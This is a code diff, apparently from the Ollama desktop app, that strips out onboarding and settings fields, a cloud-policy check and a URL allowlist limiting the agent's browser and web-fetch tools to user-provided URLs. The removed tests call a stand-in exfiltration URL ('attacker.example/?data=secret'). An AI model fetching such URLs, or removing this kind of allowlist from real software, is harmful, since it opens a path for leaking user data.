+		SET expose = ?, survey = ?, browser = ?, models = ?, agent = ?, tools = ?, working_dir = ?, context_length = ?, airplane_mode = ?, turbo_enabled = ?, websearch_enabled = ?, selected_model = ?, sidebar_open = ?, think_enabled = ?, think_level = ?
+	`, s.Expose, s.Survey, s.Browser, s.Models, s.Agent, s.Tools, s.WorkingDir, s.ContextLength, s.AirplaneMode, s.TurboEnabled, s.WebSearchEnabled, s.SelectedModel, s.SidebarOpen, s.ThinkEnabled, s.ThinkLevel)
 	if err != nil {
 		return fmt.Errorf("set settings: %w", err)
 	}
 	return nil
 }
 
-func (db *database) isCloudSettingMigrated() (bool, error) {
-	var migrated bool
-	err := db.conn.QueryRow("SELECT cloud_setting_migrated FROM settings").Scan(&migrated)
-	if err != nil {
-		return false, fmt.Errorf("get cloud setting migration status: %w", err)
-	}
-	return migrated, nil
-}
-
-func (db *database) setCloudSettingMigrated(migrated bool) error {
-	_, err := db.conn.Exec("UPDATE settings SET cloud_setting_migrated = ?", migrated)
-	if err != nil {
-		return fmt.Errorf("set cloud setting migration status: %w", err)
-	}
-	return nil
-}
-
-func (db *database) getAirplaneMode() (bool, error) {
-	var airplaneMode bool
-	err := db.conn.QueryRow("SELECT airplane_mode FROM settings").Scan(&airplaneMode)
-	if err != nil {
-		return false, fmt.Errorf("get airplane_mode: %w", err)
-	}
-	return airplaneMode, nil
-}
-
 func (db *database) getWindowSize() (int, int, error) {
 	var width, height int
 	err := db.conn.QueryRow("SELECT window_width, window_height FROM settings").Scan(&width, &height)

app/store/database_test.go

@@ -98,164 +98,6 @@ func TestSchemaMigrations(t *testing.T) {
 	})
 }
 
-func TestMigrationV13ToV14ContextLength(t *testing.T) {
-	tmpDir := t.TempDir()
-	dbPath := filepath.Join(tmpDir, "test.db")
-
-	db, err := newDatabase(dbPath)
-	if err != nil {
-		t.Fatalf("failed to create database: %v", err)
-	}
-	defer db.Close()
-
-	_, err = db.conn.Exec("UPDATE settings SET context_length = 4096, schema_version = 13")
-	if err != nil {
-		t.Fatalf("failed to seed v13 settings row: %v", err)
-	}
-
-	if err := db.migrate(); err != nil {
-		t.Fatalf("migration from v13 to v14 failed: %v", err)
-	}
-
-	var contextLength int
-	if err := db.conn.QueryRow("SELECT context_length FROM settings").Scan(&contextLength); err != nil {
-		t.Fatalf("failed to read context_length: %v", err)
-	}
-
-	if contextLength != 0 {
-		t.Fatalf("expected context_length to migrate to 0, got %d", contextLength)
-	}
-
-	version, err := db.getSchemaVersion()
-	if err != nil {
-		t.Fatalf("failed to get schema version: %v", err)
-	}
-	if version != currentSchemaVersion {
-		t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
-	}
-}
-
-func TestMigrationV15ToV16LastHomeViewMigratesToChat(t *testing.T) {
-	tmpDir := t.TempDir()
-	dbPath := filepath.Join(tmpDir, "test.db")
-
-	db, err := newDatabase(dbPath)
-	if err != nil {
-		t.Fatalf("failed to create database: %v", err)
-	}
-	defer db.Close()
-
-	if _, err := db.conn.Exec(`
-		ALTER TABLE settings DROP COLUMN last_home_view;
-		UPDATE settings SET schema_version = 15;
-	`); err != nil {
-		t.Fatalf("failed to seed v15 settings row: %v", err)
-	}
-
-	if err := db.migrate(); err != nil {
-		t.Fatalf("migration from v15 to v16 failed: %v", err)
-	}
-
-	var lastHomeView string
-	if err := db.conn.QueryRow("SELECT last_home_view FROM settings").Scan(&lastHomeView); err != nil {
-		t.Fatalf("failed to read last_home_view: %v", err)
-	}
-
-	if lastHomeView != "chat" {
-		t.Fatalf("expected last_home_view to migrate to chat, got %q", lastHomeView)
-	}
-
-	version, err := db.getSchemaVersion()
-	if err != nil {
-		t.Fatalf("failed to get schema version: %v", err)
-	}
-	if version != currentSchemaVersion {
-		t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
-	}
-}
-
-func TestOnboardingVersionDefaultsAndMigration(t *testing.T) {
-	t.Run("fresh installs need onboarding", func(t *testing.T) {
-		dbPath := filepath.Join(t.TempDir(), "fresh.db")
-		db, err := newDatabase(dbPath)
-		if err != nil {
-			t.Fatalf("failed to create database: %v", err)
-		}
-		defer db.Close()
-
-		settings, err := db.getSettings()
-		if err != nil {
-			t.Fatalf("failed to read settings: %v", err)
-		}
-		if settings.OnboardingVersion != 0 {
-			t.Fatalf("expected fresh install onboarding version 0, got %d", settings.OnboardingVersion)
-		}
-	})
-
-	t.Run("existing installs skip onboarding", func(t *testing.T) {
-		dbPath := filepath.Join(t.TempDir(), "existing.db")
-		db, err := newDatabase(dbPath)
-		if err != nil {
-			t.Fatalf("failed to create database: %v", err)
-		}
-		defer db.Close()
-
-		if _, err := db.conn.Exec(`
-			ALTER TABLE settings DROP COLUMN onboarding_version;
-			UPDATE settings SET schema_version = 16;
-		`); err != nil {
-			t.Fatalf("failed to seed v16 settings row: %v", err)
-		}
-
-		if err := db.migrate(); err != nil {
-			t.Fatalf("migration from v16 to v17 failed: %v", err)
-		}
-
-		settings, err := db.getSettings()
-		if err != nil {
-			t.Fatalf("failed to read settings: %v", err)
-		}
-		if settings.OnboardingVersion != 1 {
-			t.Fatalf("expected existing install onboarding version 1, got %d", settings.OnboardingVersion)
-		}
-	})
-}
-
-func TestClaudeDesktopUsedDefaultsAndMigration(t *testing.T) {
-	dbPath := filepath.Join(t.TempDir(), "claude-history.db")
-	db, err := newDatabase(dbPath)
-	if err != nil {
-		t.Fatalf("failed to create database: %v", err)
-	}
-	defer db.Close()
-
-	settings, err := db.getSettings()
-	if err != nil {
-		t.Fatalf("failed to read settings: %v", err)
-	}
-	if settings.ClaudeDesktopUsed {
-		t.Fatal("expected fresh installs to have no Claude Desktop history")
-	}
-
-	if _, err := db.conn.Exec(`
-		ALTER TABLE settings DROP COLUMN claude_desktop_used;
-		UPDATE settings SET schema_version = 17;
-	`); err != nil {
-		t.Fatalf("failed to seed v17 settings row: %v", err)
-	}
-	if err := db.migrate(); err != nil {
-		t.Fatalf("migration from v17 to v18 failed: %v", err)
-	}
-
-	settings, err = db.getSettings()
-	if err != nil {
-		t.Fatalf("failed to read migrated settings: %v", err)
-	}
-	if settings.ClaudeDesktopUsed {
-		t.Fatal("expected existing installs to start with no inferred Claude Desktop history")
-	}
-}
-
 func TestChatDeletionWithCascade(t *testing.T) {
 	t.Run("chat deletion cascades to related messages", func(t *testing.T) {
 		tmpDir := t.TempDir()

app/store/migration_test.go

@@ -57,14 +57,6 @@ func TestConfigMigration(t *testing.T) {
 		t.Error("expected has completed first run to be true after migration")
 	}
 
-	settings, err := s.Settings()
-	if err != nil {
-		t.Fatalf("failed to get settings: %v", err)
-	}
-	if settings.OnboardingVersion != CurrentOnboardingVersion {
-		t.Fatalf("expected migrated user to skip onboarding, got version %d", settings.OnboardingVersion)
-	}
-
 	// Verify migration is marked as complete
 	migrated, err := s.db.isConfigMigrated()
 	if err != nil {
@@ -135,65 +127,6 @@ func TestNoConfigToMigrate(t *testing.T) {
 	}
 }
 
-func TestCloudMigrationFromAirplaneMode(t *testing.T) {
-	tmpHome := t.TempDir()
-	setTestHome(t, tmpHome)
-	t.Setenv("OLLAMA_NO_CLOUD", "")
-
-	dbPath := filepath.Join(tmpHome, "db.sqlite")
-	db, err := newDatabase(dbPath)
-	if err != nil {
-		t.Fatalf("failed to create database: %v", err)
-	}
-
-	if _, err := db.conn.Exec("UPDATE settings SET airplane_mode = 1, cloud_setting_migrated = 0"); err != nil {
-		db.Close()
-		t.Fatalf("failed to seed airplane migration state: %v", err)
-	}
-	db.Close()
-
-	s := Store{DBPath: dbPath}
-	defer s.Close()
-
-	// Trigger DB initialization + one-time cloud migration.
-	if _, err := s.ID(); err != nil {
-		t.Fatalf("failed to initialize store: %v", err)
-	}
-
-	disabled, err := s.CloudDisabled()
-	if err != nil {
-		t.Fatalf("CloudDisabled() error: %v", err)
-	}
-	if !disabled {
-		t.Fatal("expected cloud to be disabled after migrating airplane_mode=true")
-	}
-
-	configPath := filepath.Join(tmpHome, ".ollama", serverConfigFilename)
-	data, err := os.ReadFile(configPath)
-	if err != nil {
-		t.Fatalf("failed to read migrated server config: %v", err)
-	}
-
-	var cfg map[string]any
-	if err := json.Unmarshal(data, &cfg); err != nil {
-		t.Fatalf("failed to parse migrated server config: %v", err)
-	}
-	if cfg["disable_ollama_cloud"] != true {
-		t.Fatalf("disable_ollama_cloud = %v, want true", cfg["disable_ollama_cloud"])
-	}
-
-	var airplaneMode, migrated bool
-	if err := s.db.conn.QueryRow("SELECT airplane_mode, cloud_setting_migrated FROM settings").Scan(&airplaneMode, &migrated); err != nil {
-		t.Fatalf("failed to read migration flags from DB: %v", err)
-	}
-	if !airplaneMode {
-		t.Fatal("expected legacy airplane_mode value to remain unchanged")
-	}
-	if !migrated {
-		t.Fatal("expected cloud_setting_migrated to be true")
-	}
-}
-
 const (
 	v1Schema = `
 	CREATE TABLE IF NOT EXISTS settings (

app/store/store.go

@@ -149,6 +149,9 @@ type Settings struct {
 	// ContextLength specifies the context length for the ollama server (using OLLAMA_CONTEXT_LENGTH)
 	ContextLength int
 
+	// AirplaneMode when true, turns off Ollama Turbo features and only uses local models
+	AirplaneMode bool
+
 	// TurboEnabled indicates if Ollama Turbo features are enabled
 	TurboEnabled bool
 
@@ -166,23 +169,8 @@ type Settings struct {
 
 	// SidebarOpen indicates if the chat sidebar is open
 	SidebarOpen bool
-
-	// LastHomeView is retained for settings compatibility and resolves to chat.
-	LastHomeView string
-
-	// OnboardingVersion stores the latest onboarding flow the user has completed.
-	OnboardingVersion int
-
-	// AutoUpdateEnabled indicates if automatic updates should be downloaded
-	AutoUpdateEnabled bool
-
-	// ClaudeDesktopUsed records whether Claude Desktop has ever been connected through Ollama.
-	ClaudeDesktopUsed bool
 }
 
-// Keep in sync with CURRENT_ONBOARDING_VERSION in app/ui/app/src/lib/onboarding.ts.
-const CurrentOnboardingVersion = 1
-
 type Store struct {
 	// DBPath allows overriding the default database path (mainly for testing)
 	DBPath string
@@ -271,40 +259,6 @@ func (s *Store) ensureDB() error {
 		}
 	}
 
-	// Run one-time migration from legacy airplane_mode behavior.
-	if err := s.migrateCloudSetting(database); err != nil {
-		return fmt.Errorf("migrate cloud setting: %w", err)
-	}
-
-	return nil
-}
-
-// migrateCloudSetting migrates legacy airplane_mode into server.json exactly once.
-// After this, cloud state is sourced from server.json OR OLLAMA_NO_CLOUD.
-func (s *Store) migrateCloudSetting(database *database) error {
-	migrated, err := database.isCloudSettingMigrated()
-	if err != nil {
-		return err
-	}
-	if migrated {
-		return nil
-	}
-
-	airplaneMode, err := database.getAirplaneMode()
-	if err != nil {
-		return err
-	}
-
-	if airplaneMode {
-		if err := setCloudEnabled(false); err != nil {
-			return fmt.Errorf("migrate airplane_mode to cloud disabled: %w", err)
-		}
-	}
-
-	if err := database.setCloudSettingMigrated(true); err != nil {
-		return err
-	}
-
 	return nil
 }
 
@@ -343,16 +297,6 @@ func (s *Store) migrateFromConfig(database *database) error {
 	if err := database.setHasCompletedFirstRun(hasCompleted); err != nil {
 		return fmt.Errorf("migrate first time run: %w", err)
 	}
-	if hasCompleted {
-		settings, err := database.getSettings()
-		if err != nil {
-			return fmt.Errorf("read settings for onboarding migration: %w", err)
-		}
-		settings.OnboardingVersion = CurrentOnboardingVersion
-		if err := database.setSettings(settings); err != nil {
-			return fmt.Errorf("migrate onboarding completion: %w", err)
-		}
-	}
 	slog.Info("migrated first run status from config.json", "hasCompleted", hasCompleted)
 
 	// Mark as migrated
@@ -411,10 +355,6 @@ func (s *Store) Settings() (Settings, error) {
 		}
 	}
 
-	if settings.LastHomeView == "" {
-		settings.LastHomeView = "chat"
-	}
-
 	return settings, nil
 }
 

app/store/store_test.go

@@ -81,62 +81,6 @@ func TestStore(t *testing.T) {
 		}
 	})
 
-	t.Run("settings default home view is chat", func(t *testing.T) {
-		loaded, err := s.Settings()
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		if loaded.LastHomeView != "chat" {
-			t.Fatalf("expected default LastHomeView to be chat, got %q", loaded.LastHomeView)
-		}
-	})
-
-	t.Run("settings empty home view falls back to chat", func(t *testing.T) {
-		if err := s.SetSettings(Settings{LastHomeView: ""}); err != nil {
-			t.Fatal(err)
-		}
-
-		loaded, err := s.Settings()
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		if loaded.LastHomeView != "chat" {
-			t.Fatalf("expected empty LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
-		}
-	})
-
-	t.Run("settings retired home view falls back to chat", func(t *testing.T) {
-		if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
-			t.Fatal(err)
-		}
-
-		loaded, err := s.Settings()
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		if loaded.LastHomeView != "chat" {
-			t.Fatalf("expected retired LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
-		}
-	})
-
-	t.Run("settings integration home view falls back to chat", func(t *testing.T) {
-		if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
-			t.Fatal(err)
-		}
-
-		loaded, err := s.Settings()
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		if loaded.LastHomeView != "chat" {
-			t.Fatalf("expected integration LastHomeView to fall back to chat, got %q", loaded.LastHomeView)
-		}
-	})
-
 	t.Run("window size", func(t *testing.T) {
 		if err := s.SetWindowSize(1024, 768); err != nil {
 			t.Fatal(err)
@@ -227,58 +171,6 @@ func TestStore(t *testing.T) {
 	})
 }
 
-func TestOnboardingVersionRoundTrip(t *testing.T) {
-	s, cleanup := setupTestStore(t)
-	defer cleanup()
-
-	settings, err := s.Settings()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if settings.OnboardingVersion != 0 {
-		t.Fatalf("expected onboarding version 0 by default, got %d", settings.OnboardingVersion)
-	}
-
-	settings.OnboardingVersion = 1
-	if err := s.SetSettings(settings); err != nil {
-		t.Fatal(err)
-	}
-
-	loaded, err := s.Settings()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if loaded.OnboardingVersion != 1 {
-		t.Fatalf("expected onboarding version 1, got %d", loaded.OnboardingVersion)
-	}
-}
-
-func TestClaudeDesktopUsedRoundTrip(t *testing.T) {
-	s, cleanup := setupTestStore(t)
-	defer cleanup()
-
-	settings, err := s.Settings()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if settings.ClaudeDesktopUsed {
-		t.Fatal("expected Claude Desktop history to be false by default")
-	}
-
-	settings.ClaudeDesktopUsed = true
-	if err := s.SetSettings(settings); err != nil {
-		t.Fatal(err)
-	}
-
-	loaded, err := s.Settings()
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !loaded.ClaudeDesktopUsed {
-		t.Fatal("expected Claude Desktop history to persist")
-	}
-}
-
 // setupTestStore creates a temporary store for testing
 func setupTestStore(t *testing.T) (*Store, func()) {
 	t.Helper()

app/store/test_home_test.go

@@ -1,11 +0,0 @@
-//go:build windows || darwin
-
-package store
-
-import "testing"
-
-func setTestHome(t *testing.T, home string) {
-	t.Helper()
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home)
-}

app/store/testdata/schema.sql

@@ -13,7 +13,7 @@ CREATE TABLE IF NOT EXISTS settings (
     agent BOOLEAN NOT NULL DEFAULT 0,
     tools BOOLEAN NOT NULL DEFAULT 0,
     working_dir TEXT NOT NULL DEFAULT '',
-    context_length INTEGER NOT NULL DEFAULT 0,
+    context_length INTEGER NOT NULL DEFAULT 4096,
     window_width INTEGER NOT NULL DEFAULT 0,
     window_height INTEGER NOT NULL DEFAULT 0,
     config_migrated BOOLEAN NOT NULL DEFAULT 0,

app/tools/browser.go

@@ -563,10 +563,6 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
 			return b.state.Data, pageText, nil
 		}
 
-		if !allowedDirectURL(ctx, url) {
-			return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
-		}
-
 		// Page not in cache, need to crawl it
 		if b.crawlPage == nil {
 			b.crawlPage = &BrowserCrawler{}

app/tools/browser_test.go

@@ -65,27 +65,6 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
 	}
 }
 
-func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
-	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
-	bo := NewBrowserOpen(b)
-
-	_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
-	if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
-		t.Fatalf("expected direct URL rejection, got %v", err)
-	}
-}
-
-func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
-	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
-
-	if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
-		t.Fatal("expected exact user-provided URL to be allowed")
-	}
-	if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
-		t.Fatal("did not expect modified URL to be allowed")
-	}
-}
-
 func TestDisplayPage_InvalidLoc(t *testing.T) {
 	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
 	p := makeTestPage("https://example.com/x")

app/tools/cloud_policy.go

@@ -1,35 +0,0 @@
-//go:build windows || darwin
-
-package tools
-
-import (
-	"context"
-	"errors"
-
-	"github.com/ollama/ollama/api"
-	internalcloud "github.com/ollama/ollama/internal/cloud"
-)
-
-// ensureCloudEnabledForTool checks cloud policy from the connected Ollama server.
-// If policy cannot be determined, this fails closed and blocks the operation.
-func ensureCloudEnabledForTool(ctx context.Context, operation string) error {
-	// Reuse shared message formatting; policy evaluation is still done via
-	// the connected server's /api/status endpoint below.
-	disabledMessage := internalcloud.DisabledError(operation)
-
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return errors.New(disabledMessage + " (unable to verify server cloud policy)")
-	}
-
-	status, err := client.CloudStatusExperimental(ctx)
-	if err != nil {
-		return errors.New(disabledMessage + " (unable to verify server cloud policy)")
-	}
-
-	if status.Cloud.Disabled {
-		return errors.New(disabledMessage)
-	}
-
-	return nil
-}

app/tools/cloud_policy_test.go

@@ -1,73 +0,0 @@
-//go:build windows || darwin
-
-package tools
-
-import (
-	"context"
-	"net/http"
-	"net/http/httptest"
-	"strings"
-	"testing"
-)
-
-func TestEnsureCloudEnabledForTool(t *testing.T) {
-	const op = "web search is unavailable"
-	const disabledPrefix = "ollama cloud is disabled: web search is unavailable"
-
-	t.Run("enabled allows tool execution", func(t *testing.T) {
-		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-			if r.URL.Path != "/api/status" {
-				http.NotFound(w, r)
-				return
-			}
-			w.Header().Set("Content-Type", "application/json")
-			_, _ = w.Write([]byte(`{"cloud":{"disabled":false,"source":"none"}}`))
-		}))
-		t.Cleanup(ts.Close)
-		t.Setenv("OLLAMA_HOST", ts.URL)
-
-		if err := ensureCloudEnabledForTool(context.Background(), op); err != nil {
-			t.Fatalf("expected nil error, got %v", err)
-		}
-	})
-
-	t.Run("disabled blocks tool execution", func(t *testing.T) {
-		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-			if r.URL.Path != "/api/status" {
-				http.NotFound(w, r)
-				return
-			}
-			w.Header().Set("Content-Type", "application/json")
-			_, _ = w.Write([]byte(`{"cloud":{"disabled":true,"source":"config"}}`))
-		}))
-		t.Cleanup(ts.Close)
-		t.Setenv("OLLAMA_HOST", ts.URL)
-
-		err := ensureCloudEnabledForTool(context.Background(), op)
-		if err == nil {
-			t.Fatal("expected error, got nil")
-		}
-		if got := err.Error(); got != disabledPrefix {
-			t.Fatalf("unexpected error: %q", got)
-		}
-	})
-
-	t.Run("status unavailable fails closed", func(t *testing.T) {
-		ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-			http.NotFound(w, r)
-		}))
-		t.Cleanup(ts.Close)
-		t.Setenv("OLLAMA_HOST", ts.URL)
-
-		err := ensureCloudEnabledForTool(context.Background(), op)
-		if err == nil {
-			t.Fatal("expected error, got nil")
-		}
-		if got := err.Error(); !strings.Contains(got, disabledPrefix) {
-			t.Fatalf("expected disabled prefix, got %q", got)
-		}
-		if got := err.Error(); !strings.Contains(got, "unable to verify server cloud policy") {
-			t.Fatalf("expected verification failure detail, got %q", got)
-		}
-	})
-}

app/tools/url_policy.go

@@ -1,61 +0,0 @@
-//go:build windows || darwin
-
-package tools
-
-import (
-	"context"
-	"regexp"
-	"strings"
-)
-
-type directURLContextKey struct{}
-
-var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
-
-func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
-	allowed := make(map[string]struct{})
-	for _, match := range directURLPattern.FindAllString(text, -1) {
-		addAllowedDirectURLToMap(allowed, match)
-	}
-	return context.WithValue(ctx, directURLContextKey{}, allowed)
-}
-
-func addAllowedDirectURL(ctx context.Context, raw string) {
-	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
-	addAllowedDirectURLToMap(allowed, raw)
-}
-
-func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
-	if allowed == nil {
-		return
-	}
-
-	raw = cleanDirectURL(raw)
-	if raw == "" {
-		return
-	}
-
-	allowed[raw] = struct{}{}
-}
-
-func allowedDirectURL(ctx context.Context, raw string) bool {
-	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
-	cleaned := cleanDirectURL(raw)
-	if cleaned == "" || cleaned != raw {
-		return false
-	}
-
-	_, ok := allowed[cleaned]
-	return ok
-}
-
-func cleanDirectURL(raw string) string {
-	raw = strings.TrimSpace(raw)
-	raw = strings.TrimRight(raw, ".,;:!?)]}")
-
-	if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
-		return ""
-	}
-
-	return raw
-}

app/tools/url_policy_test.go

@@ -1,21 +0,0 @@
-//go:build windows || darwin
-
-package tools
-
-import "testing"
-
-func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
-	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
-
-	if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
-		t.Fatal("expected changed tool argument to be rejected")
-	}
-}
-
-func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
-	ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
-
-	if !allowedDirectURL(ctx, "https://example.com/privacy") {
-		t.Fatal("expected URL wrapped in backticks to be allowed")
-	}
-}

app/tools/web_fetch.go

@@ -67,26 +67,16 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
 	if !ok || strings.TrimSpace(urlStr) == "" {
 		return nil, "", fmt.Errorf("url must be a non-empty string")
 	}
-	if !allowedDirectURL(ctx, urlStr) {
-		return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
-	}
 
 	result, err := performWebFetch(ctx, urlStr)
 	if err != nil {
 		return nil, "", err
 	}
-	for _, link := range result.Links {
-		addAllowedDirectURL(ctx, link)
-	}
 
 	return result, "", nil
 }
 
 func performWebFetch(ctx context.Context, targetURL string) (*FetchResponse, error) {
-	if err := ensureCloudEnabledForTool(ctx, "web fetch is unavailable"); err != nil {
-		return nil, err
-	}
-
 	reqBody := FetchRequest{URL: targetURL}
 	jsonBody, err := json.Marshal(reqBody)
 	if err != nil {

app/tools/web_search.go

@@ -88,18 +88,11 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
 	if err != nil {
 		return nil, "", err
 	}
-	for _, result := range result.Results {
-		addAllowedDirectURL(ctx, result.URL)
-	}
 
 	return result, "", nil
 }
 
 func performWebSearch(ctx context.Context, query string, maxResults int) (*SearchResponse, error) {
-	if err := ensureCloudEnabledForTool(ctx, "web search is unavailable"); err != nil {
-		return nil, err
-	}
-
 	reqBody := SearchRequest{Query: query, MaxResults: maxResults}
 
 	jsonBody, err := json.Marshal(reqBody)

app/ui/app/codegen/gotypes.gen.ts

@@ -289,12 +289,10 @@ export class InferenceCompute {
 }
 export class InferenceComputeResponse {
     inferenceComputes: InferenceCompute[];
-    defaultContextLength: number;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
         this.inferenceComputes = this.convertValues(source["inferenceComputes"], InferenceCompute);
-        this.defaultContextLength = source["defaultContextLength"];
     }
 
 	convertValues(a: any, classs: any, asMap: boolean = false): any {
@@ -408,16 +406,13 @@ export class Settings {
     Tools: boolean;
     WorkingDir: string;
     ContextLength: number;
+    AirplaneMode: boolean;
     TurboEnabled: boolean;
     WebSearchEnabled: boolean;
     ThinkEnabled: boolean;
     ThinkLevel: string;
     SelectedModel: string;
     SidebarOpen: boolean;
-    LastHomeView: string;
-    OnboardingVersion: number;
-    AutoUpdateEnabled: boolean;
-    ClaudeDesktopUsed: boolean;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
@@ -429,16 +424,13 @@ export class Settings {
         this.Tools = source["Tools"];
         this.WorkingDir = source["WorkingDir"];
         this.ContextLength = source["ContextLength"];
+        this.AirplaneMode = source["AirplaneMode"];
         this.TurboEnabled = source["TurboEnabled"];
         this.WebSearchEnabled = source["WebSearchEnabled"];
         this.ThinkEnabled = source["ThinkEnabled"];
         this.ThinkLevel = source["ThinkLevel"];
         this.SelectedModel = source["SelectedModel"];
         this.SidebarOpen = source["SidebarOpen"];
-        this.LastHomeView = source["LastHomeView"];
-        this.OnboardingVersion = source["OnboardingVersion"];
-        this.AutoUpdateEnabled = source["AutoUpdateEnabled"];
-        this.ClaudeDesktopUsed = source["ClaudeDesktopUsed"];
     }
 }
 export class SettingsResponse {
@@ -556,12 +548,14 @@ export class Error {
     }
 }
 export class ModelUpstreamResponse {
-    stale: boolean;
+    digest?: string;
+    pushTime: number;
     error?: string;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
-        this.stale = source["stale"];
+        this.digest = source["digest"];
+        this.pushTime = source["pushTime"];
         this.error = source["error"];
     }
 }

app/ui/app/index.html

@@ -1,14 +1,13 @@
 <!doctype html>
-<html lang="en" style="overflow: hidden; color-scheme: light">
+<html lang="en" style="overflow: hidden">
   <head>
     <meta charset="UTF-8" />
-    <meta name="color-scheme" content="light" />
     <link rel="icon" type="image/svg+xml" href="/vite.svg" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <link rel="stylesheet" href="/src/index.css" />
     <title>Ollama</title>
   </head>
-  <body class="bg-white select-text">
+  <body class="dark:bg-neutral-900 select-text">
     <div id="root"></div>
     <script type="module" src="/src/main.tsx"></script>
     <script>

app/ui/app/public/launch-icons/claude-code.svg

@@ -1 +0,0 @@
-<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude Code</title><path clip-rule="evenodd" d="M20.998 10.949H24v3.102h-3v3.028h-1.487V20H18v-2.921h-1.487V20H15v-2.921H9V20H7.488v-2.921H6V20H4.487v-2.921H3V14.05H0V10.95h3V5h17.998v5.949zM6 10.949h1.488V8.102H6v2.847zm10.51 0H18V8.102h-1.49v2.847z" fill="#D97757" fill-rule="evenodd"></path></svg>

app/ui/app/public/launch-icons/claude.svg

@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Generated by Pixelmator Pro 3.6.17 -->
-<svg width="1200" height="1200" viewBox="0 0 1200 1200" xmlns="http://www.w3.org/2000/svg">
-    <g id="g314">
-        <path id="path147" fill="#d97757" stroke="none" d="M 233.959793 800.214905 L 468.644287 668.536987 L 472.590637 657.100647 L 468.644287 650.738403 L 457.208069 650.738403 L 417.986633 648.322144 L 283.892639 644.69812 L 167.597321 639.865845 L 54.926208 633.825623 L 26.577238 627.785339 L 3.3e-05 592.751709 L 2.73832 575.27533 L 26.577238 559.248352 L 60.724873 562.228149 L 136.187973 567.382629 L 249.422867 575.194763 L 331.570496 580.026978 L 453.261841 592.671082 L 472.590637 592.671082 L 475.328857 584.859009 L 468.724915 580.026978 L 463.570557 575.194763 L 346.389313 495.785217 L 219.543671 411.865906 L 153.100723 363.543762 L 117.181267 339.060425 L 99.060455 316.107361 L 91.248367 266.01355 L 123.865784 230.093994 L 167.677887 233.073853 L 178.872513 236.053772 L 223.248367 270.201477 L 318.040283 343.570496 L 441.825592 434.738342 L 459.946411 449.798706 L 467.194672 444.64447 L 468.080597 441.020203 L 459.946411 427.409485 L 392.617493 305.718323 L 320.778564 181.932983 L 288.80542 130.630859 L 280.348999 99.865845 C 277.369171 87.221436 275.194641 76.590698 275.194641 63.624268 L 312.322174 13.20813 L 332.8591 6.604126 L 382.389313 13.20813 L 403.248352 31.328979 L 434.013519 101.71814 L 483.865753 212.537048 L 561.181274 363.221497 L 583.812134 407.919434 L 595.892639 449.315491 L 600.40271 461.959839 L 608.214783 461.959839 L 608.214783 454.711609 L 614.577271 369.825623 L 626.335632 265.61084 L 637.771851 131.516846 L 641.718201 93.745117 L 660.402832 48.483276 L 697.530334 24.000122 L 726.52356 37.852417 L 750.362549 72 L 747.060486 94.067139 L 732.886047 186.201416 L 705.100708 330.52356 L 686.979919 427.167847 L 697.530334 427.167847 L 709.61084 415.087341 L 758.496704 350.174561 L 840.644348 247.490051 L 876.885925 206.738342 L 919.167847 161.71814 L 946.308838 140.29541 L 997.61084 140.29541 L 1035.38269 196.429626 L 1018.469849 254.416199 L 965.637634 321.422852 L 921.825562 378.201538 L 859.006714 462.765259 L 819.785278 530.41626 L 823.409424 535.812073 L 832.75177 534.92627 L 974.657776 504.724915 L 1051.328979 490.872559 L 1142.818848 475.167786 L 